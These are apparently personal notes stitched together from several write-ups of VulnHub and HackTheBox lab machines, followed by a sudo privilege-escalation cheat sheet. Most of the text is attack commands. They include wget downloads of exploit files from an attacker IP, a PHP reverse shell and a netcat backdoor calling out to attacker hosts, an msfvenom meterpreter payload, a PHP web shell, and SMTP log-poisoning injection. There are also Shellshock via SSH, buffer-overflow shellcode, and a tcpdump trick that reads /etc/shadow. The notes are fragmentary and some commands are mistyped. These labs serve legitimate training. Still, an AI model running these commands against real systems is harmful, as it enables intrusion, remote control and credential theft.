gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c
wget http://192.168.1.110:8000/41154.sh
wget http://192.168.1.110:8000/libhax.so
wget http://192.168.1.110:8000/rootshell
Screen exploit
==================================================
Web Developer 1
nmap -sn ip/24
nmap -A -p- ip
whatweb ip wpscan --url http://ip I found that there is an interesting directory called “ipdata” with directory listing option enabled.
After viewing this directory using firefox, I found that it contains packet capture file called “analyze.pcap”.
After downloading, opening, and analyzing the file using wireshark, I found that it contains a request to the WordPress admin area. That request contains the credentials for the WordPress.
username : webdeveloper password : Te5eQg&4sB!Yr$)wf%(DcAd
ssh webdeveloper@192.168.19.131 sudo -l
use exploit/unix/wepapp/wp_reflexgallery_file_upload
set rhosts 192.168.19.131 exploit
So, we can execute a file using tcpdump, so we use the following command to execute “ls -al /root” command. Now the command will be executed only when tcpdump captures a packet.
After starting tcpdump, in a new terminal, we connect to the target machine through SSH. Now we send a TCP packet to the 127.0.0.1 using netcat. We had to use this locally as we started tcpdump on the loopback interface.
nc -v -z -n -w 1 127.0.0.1 1
As soon as we send the packet, our command is executed and we can see all the files inside “/root” directory. Inside “/root” directory, we find a file called “flag.txt”. We are again going to use tcpdump command to open “flag.txt” and are able to get the final flag.
2nd method for user shell
From here, I have to upload a reverse webshell to the server so that I can run commands and tried rooting it. There are many ways I can follow to do this, like using metasploit module (exploit/unix/webapp/wp_admin_shell_upload) or uploading it by editing the themes or Plugins “PHP” files.
exploit/unix/webapp/wp_admin_shell_upload
/usr/share/webshells/php/php-reverse-shell.php
Wordpress Shell
3rd method for Wordpress user shell
2nd method for tcpdump root shell
3rd method for tcpdump
3rd method for root shell Research Googling lxd group privilege escalation brought me here:
https://reboare.github.io/lxd/lxd-escape.html It basically says we can abuse the lxd group to re-mount the filesystem and change root owned files.
We can run the commands on the above page, mostly as-is, in order. Just have to run lxd init first and follow the prompts as seen below:
==============================================================
Linux Priv Escalation
Using zip command
$ sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
Using tar command
$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash
Using strace command
$ sudo strace -o/dev/null /bin/bash
Using tcpdump command
$ echo $’id\ncat /etc/shadow’ > /tmp/.shell $ chmod +x /tmp/.shell $ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell-Z root
Using nmap command
$ echo "os.execute('/bin/sh')" > /tmp/shell.nse $ sudo nmap --script=/tmp/shell.nse
Using scp command
$ sudo scp -S /path/yourscript x y
Using except command
$ sudo except spawn sh then sh
Using nano command
$ sudo nano -S /bin/bash type your command and hit CTRL+T
Using git command
$ sudo git help status type: !/bin/bash
Using gdb/ftp command
$ sudo ftp type : !/bin/sh
https://blog.securelayer7.net/abusing-sudo-advance-linux-privilege-escalation/
mysql select sys_exec('whoami');
select sys_eval('whoami');
-========================================================
solidstate walkthrough
nmap 10.10.10.51 -sV -p- --open
Now back to 4555, it runs service James Remote Admin 2.3.2. After searching a while on the internet, I got that the default password for logging in the Remote Admin is root: root.
listusers command setpassword command listusers
pop3 service smtp telnet 10.10.10.51 110 User: mindy Pass: 1234 list
we got mindy credentials login with ssh
Apache james server 2.3.2 https://www.exploit-db.com/exploits/35513/
RCE change the exploit ip and port ./exploit.py ip
ssh mindy@ip
python -c 'import pty;pty.spawn("/bin/bash")'
start nc listener before exploit execute
priv escalation ps aux | grep james
As given below in image you can see I had edit netcat backdoor using the following command and save the file tmp.py, then transfer this file into victim’s system.
!/usr/bin/env python
import os import sys os.system('/bin/nc -e bin/bash ip port')
crontab -l
===============================================================
wintermute
nmap -p- -A ip port 3000 http service running
admin admin /turing-bolo
lfi find in 80 port bolo=case bolo=../../log/mail
further connect to smtp port 25 telnet ip 25
MAIL FROM:rrajchandel@gmail.com 220 straylight ESMTP Postfix (Debian/GNU) 250 2.1.0 Ok RCPT TO:<?php system('whoami'); ?> 501 5.1.3 Bad recipient address syntax
Now navigate back to the URL http://192.168.1.124/turing-bolo/bolo.php?bolo=../../../log/mail
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f elf > shell.elf
2nd method
Root Hunting Round 1
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -u=s 2>/dev/null
https://www.exploit-db.com/exploits/41154 nc -nvlp 2222 < exploit.sh
3rd method
<?php echo shell_exec($_GET['cmd']);?>
https://www.exploit-db.com/exploits/41154/
Next machine pivoting
Access to Neuromancer has been achieved! Checking the homedirectory of the “ta” user will reveal something of interest. This note will reveal the tomcat directory.
ssh lady3jane@192.168.1.83 -p 34483
https://www.exploit-db.com/exploits/44298 scp -P 34483 exploit lady3jane@192.168.1.83:.
2nd method for 2nd machine
I used a bash one-liner to calculate which IPs had hosts up on the 212 range, if the host was up the words "bytes from" would be in the output so I could grep pings
As it was, I used it to tunnel each port onto the 56 range
I found an exploit for this on exploit-db https://www.exploit-db.com/exploits/42324, but to be able to make it call back with a shell I needed to forward a port the other way
I couldn't get any reverse shells to fire, and I suspected this was because Java Runtime didn't support linux piping etc. So I decided to transfer a file to execute and spawn the reverse shell, first I needed to expose my port 80 to the target so it could get the file
Struts Exploit
===============================================================
me and my girlfriend vulnhub machine
nmap -p- -A 192.168.29.148
Without wasting time, I had edited the rule for the request header for x-forwarded-for: localhost in the burp suite and try to intercept the web page request along this.
And finally, you will be able to access the web page for the Ceban Corp company as said by the author. On this page I saw 4 captions that contain some hyperlink. Here I tried to figure out the possibilities for SQL injection and LFI but failed to bypass this.
Once I logged in, I saw another their three captions “Dashboard, Profile, logout”. The profile caption denoted user_id and for raj, it is showing user-id=12 in the URL.
In the given URL, I tried to change user_id from user_id=12 to user-id=1 and luckily I saw the profile for another user, then frequently found the profile for alice as user_id=5, Moreover, the password field was auto filed thus I was able to read the password from inside the inspect element.
Username: alice Password: 4lic3
Spawning shell Since we have enumerated credential for the user alice therefore, further I used this credential to access host machine shell through ssh.
ssh alice@192.168.29.148
Privilege Escalation Without wasting time, I looked for sudo rights and fortunately found that alice can run the php program as a sudo user. Then I start the netcat listener in a new terminal and run the php reverse shell command in the host terminal.
sudo /usr/bin/php -r '$sock=fsockopen("192.168.29.157",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
nc -lvp 1234 cd /root ls cat flag2.txt
=============================================================
troll 1
nmap -p 1-65535 -sV -sS -A -T4 192.168.78.140 nmap --script=http-enum -p80 -n 192.168.78.140
ftp 192.168.78.140 ftp> get lol.pcap
I took a guess and entered sup3rs3cr3tdirlol as a dir:
strings ~/Downloads/roflmao
The binary appeared to just print “0x0856BF”, I entered this in the browser again - not expecting it to work.
SSH Brute Force
I manually attempted a SSH brute force using the previously discovered usernames + password from Pass.txt. After several attempts the connection was refused via SSH, rebooting the target VM did not help - I suspected iptables, fail2ban / DenyHosts.
Weak Filesystem Permissions The enumeration script identified the following world writable files:
Local Privilege Escalation From the attacking machine I downloaded an suid bin (spawns a shell) to /usr/bin/suid on the target.
Exploiting the poor filesystem permissions, I swapped out the contents of /lib/log/cleaner.py for:
Ubuntu version 14.04
/exploits/linux/local/37292.c
nmap -Pn -sT -A -p- -T4 troll
========================================================
Troll 2
Some of the things I learned from this VM were enumeration, metadata collection, Shell Shock, SSH Private Keys, Buffer Over Flows/Priv Esc, and TO NEVER GIVE UP!!! This VM is super fun so lets jump right in!!!
Cracking the zip file : fcrackzip -u -D -p troll_cats/output.txt lmao.zip
sed 's./..g' robots.txt
ssh closed after connecting
1st method For decryptinng base64 strings library
2nd method :#
base64 -d answer.txt > answer-decoded.txt && awk '{print length, $0;}' answer-decoded.txt | sort -nr | less
wget http://172.31.31.6/y0ur_self/answer.txt
SSH Shellshock
Attempting to login using the discovered key failed, with a messaging saying TRY HARDER LOL!.
ssh -i noob noob@192.168.145.129 '() { :;}; /bin/bash'
for eip crash ./r00t $(python -c 'print "A" 300') ./r00t $(python -c 'print "A"268 + "\x80\xfb\xff\xbf" + "\x90" * 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
./r00t $(python -c 'print "A"268 + "\x80\xfb\xff\xbf" + "\x90" 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
./r00t $(python -c 'print "A"268 + "\x80\xfb\xff\xbf" + "\x90" 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
==========================================================
Pinky palace 1 (Squid proxy)
It was at this point that I wondered if maybe adding a record to /etc/hosts to resolve pinkys-palace to 192.168.56.103 would work.
2nd blog
kioptix level 1 walkthrough
root@kali:~# nmap -sn 192.168.1.10/24
root@kali:~# nmap -sT -sV -A -O -v -p 1–65535 192.168.1.17
Port 22 — Inspecting SSH — OpenSSH 2.9p2 searchsploit openssh
Port 80/443 — Inspecting Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
There is one mod_ssl exploit that matches out version :- Apache/mod_ssl (< 2.8.7) OpenSSL — ‘OpenFuckV2.c’ Remote Exploit (2)
root@kali:~/Desktop/B2R# cp /usr/share/exploitdb/platforms/unix/remote/764.c . root@kali:~/Desktop/B2R# head 764.c
Samba 2.2 [Samba 2.2.1a]
Remote Root exploit - 10.c - samba 2.2.8
cp /usr/share/exploitdb/platforms/linux/remote/10.c . gcc 10.c -o samba
2nd blog
nbtscan 192.168.36.129 About Samba Trans2Open Overflow –
3rd blog
nmap -sn -T4 -oA nmapfast ip/24 cat nmapfast.gnmap | grep Up | cut -d " " -f2 > livehost
nmap -sT -sV -T4 -p 1-65535 --open -Pn -iL livehost -oA nmapscan
nikto -host ip -port 443
https://medium.com/@bondo.mike/vulnhub-kioptrix-level-1-d439aa7039b2
one more samba exploit searchsploit samba 2.2.8
gcc -o sambaexploit /usr/share/exploits/exploits/
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Last updated
